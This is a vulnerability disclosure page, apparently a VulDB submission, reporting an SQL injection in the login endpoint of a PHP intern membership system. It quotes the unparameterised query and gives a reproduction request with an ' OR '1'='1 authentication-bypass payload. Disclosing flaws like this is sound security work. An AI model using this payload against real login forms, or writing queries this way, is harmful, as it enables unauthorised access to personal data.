| タイトル | code-projects Intern Membership Management System published July 27, 2025 SQL Injection |
|---|
| 説明 | Summary
The login endpoint student_login.php fails to sanitize user-supplied input in the user_name and password parameters.
Root Cause
The application directly interpolates the $_POST['user_name'] and $_POST['password'] values into an SQL query string:
php
$query = mysqli_query($dbconn, "SELECT * FROM registered_users WHERE user_name='$username' and password='$password'");
No escaping or parameterization is applied, allowing arbitrary SQL code injection.
Reproduction
Send a POST request to student_login.php with the following body:
http
POST /intern/student_login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user_name=' OR '1'='1&password=anything&submit=Login
The resulting query becomes:
sql
SELECT * FROM registered_users WHERE user_name='' OR '1'='1' AND password='anything'
Since '1'='1' is always true, the login bypasses authentication and grants unauthorized access.
Impact
An unauthenticated remote attacker can bypass login checks, potentially gaining access to student information or administrative functions. If the same pattern exists elsewhere, further data exposure or system compromise may be possible. |
|---|
| ソース | ⚠️ https://github.com/shenxianyuguitian/intern-mms-vuln/blob/main/README.md |
|---|
| ユーザー | xuanyuesanshi (UID 88126) |
|---|
| 送信 | 2025年07月29日 10:06 (1 年 ago) |
|---|
| モデレーション | 2025年07月30日 10:38 (1 day later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 318291 [code-projects Intern Membership Management System 1.0 /student_login.php user_name/password SQLインジェクション] |
|---|
| ポイント | 20 |
|---|